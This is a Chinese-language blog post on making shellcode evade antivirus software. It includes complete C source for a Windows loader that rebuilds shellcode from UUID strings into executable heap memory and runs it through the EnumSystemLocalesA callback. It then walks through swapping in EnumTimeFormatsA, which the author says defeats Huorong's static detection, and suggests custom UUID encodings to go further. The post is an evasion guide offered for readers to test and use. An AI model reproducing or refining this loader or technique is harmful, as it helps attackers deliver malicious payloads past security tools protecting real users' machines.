UUID 执行 shellcode 中学到的免杀思路
发布于 2021-03-21 01:51 ,所属分类:在线教育信息快讯
在 UUID 执行 shellcode 的实现中,主要用到了 UuidFromStringA
来还原 shellcode
以及利用 EnumSystemLocalesA
来执行指定内存地址的机器码
相比平时复制 shellcode
时用的 memcpy
等函数,它用到的 2 个函数相对来说没那么常用,所以它能够逃避杀软检测有可能是杀软没有考虑周全,当然也可能是为了降低误报不监控这些函数,但个人更倾向于认为是考虑不周全的原因
在这个例子中,我们就可以明显感觉到,在做免杀的时候,使用一些不常用的 api 来达到同样的目的,往往可以起到更好的免杀效果
在前面的文章中,通过 UUID 执行 shellcode 的方式已经可以被火绒识别了,如下图:
但是我上传到 virustotal
上却只有 2 个杀软检测出来了,分别是 SecureAge APEX
和 Cylance
,有点迷... 代码如下
#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <Rpc.h>
#include <stdio.h>
#include <winsock.h>
#pragma comment(lib, "Rpcrt4.lib")
const char* uuids[] =
{
"008fe8fc-0000-3160-d289-e5648b52308b",
};
int main( ) {
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* ha = HeapAlloc(hc, 0, 0x100000);
DWORD_PTR hptr = (DWORD_PTR) ha;
int elems = sizeof(uuids) / sizeof(uuids[0]);
for(int i = 0; i < elems; i++) {
RPC_STATUS status = UuidFromStringA((RPC_CSTR) uuids[i], (UUID*) hptr);
if(status != RPC_S_OK) {
printf("UuidFromStringA() != S_OK\n");
CloseHandle(ha);
return -1;
}
hptr += 16;
}
EnumSystemLocalesA((LOCALE_ENUMPROCA) ha, 0);
return 0;
}
上面的代码我把 UUID 删除了大部分,测试的时候需要替换成自己的转换后的 UUID,shellcode 转 UUID 可以用 Python
转,比较方便
文章开头就说了,之前 UUID 转 shellcode 执行绕过杀软,主要是利用的函数比较少见,或者说不常用
现在虽然不能免杀火绒,但是可以试着自己改改,尝试找找看火绒杀的特征是什么
比如它利用 EnumSystemLocalesA
的回调函数地址来执行 shellcode
,那么我们是不是可以用其他具有类似行为的函数替换?
所以可以去翻 win32
文档,看是否还有参数是一个回调函数的函数,如果存在一个函数,它的某个参数是一个回调函数,在某些条件成立的情况下,它会调用这个回调函数,并且我们能让这个条件一定成立,那么这个函数就可以作为 EnumSystemLocalesA
的替换
win32
函数比较多,但是如果看过 EnumSystemLocalesA
的文档,就知道他在 winnls.h
中声明,在该文件中,还声明了其他类似的很多以 Enum
开头的函数,猜测这些类似的函数都有回调,随便点开一个看一下即可
比如 EnumTimeFormatsA
,函数声明如下
BOOL EnumTimeFormatsA(
TIMEFMT_ENUMPROCA lpTimeFmtEnumProc,
LCID Locale,
DWORD dwFlags
);
看起来第一个参数就是回调函数,看看参数说明
lpTimeFmtEnumProc
Pointer to an application-defined callback function. For more information, see EnumTimeFormatsProc.
别的没看懂,但看懂了 callback function
,那应该就是回调函数了
所以我们可以用 EnumTimeFormatsA
来替换 EnumSystemLocalesA
试试
这个函数有 3 个参数,在替换前还得搞清楚另外 2 个参数应该怎么填,老办法,看文档,微软的文档对参数描述还是挺详细的
Locale
Locale identifier that specifies the locale for which to retrieve time format information. You can use the MAKELCID macro to create a locale identifier or use one of the following predefined values. LOCALE_CUSTOM_DEFAULT LOCALE_CUSTOM_UI_DEFAULT LOCALE_CUSTOM_UNSPECIFIED LOCALE_INVARIANT LOCALE_SYSTEM_DEFAULT LOCALE_USER_DEFAULT
虽然没看懂啥意思,但下面给了几个枚举值?不管了,随便复制一个就行,报错了再说
再看下第三个参数
dwFlags
The time format. This parameter can specify a combination of any of the following values.
也是给出了一些值,随便选择一个,这里选择 0
替换完后的代码就是把 EnumSystemLocalesA((LOCALE_ENUMPROCA) ha, 0);
替换成了 EnumTimeFormatsA(ha, LOCALE_CUSTOM_DEFAULT, 0);
然后再编译,就免杀了...
此处应该有截图但是没有
没有截图,自己测试吧
静态过杀软就是这么简单...
同样的,我们还可以用其他函数替换 UuidFromStringA
当然了,我也不知道还有没有现成的函数来实现跟 UuidFromStringA
同样的功能,但是就算没有也不是问题不是吗
我们完全可以自己实现 UuidFromStringA
,甚至还可以自定义 UUID
的生成规则
比如通过标准的 UuidToString
把 shellcode
转成 UUID
后,再对转换后的 UUID
做一层处理
比如把哪几个字符串顺序对换一下?
然后自己来实现这个从 UUID
转 shellcode
的函数
个人认为利用 UuidFromStringA
来还原 shellcode
更利于免杀,是因为没有直接的内存复制,猜测 UuidFromStringA
还原 shellcode
的时候是利用赋值(=) 来完成内存地址赋值的,而不是 memcpy
等内存复制函数来赋值
所以,免杀的时候也可以利用这个思路?
下一篇准备写下自己关于杀软的原理的理解,只有知道了杀软的原理,才更容易写出免杀的程序来
国际惯例:由于本人水平有限,难免会有错误,欢迎各位大佬批评指正
相关资源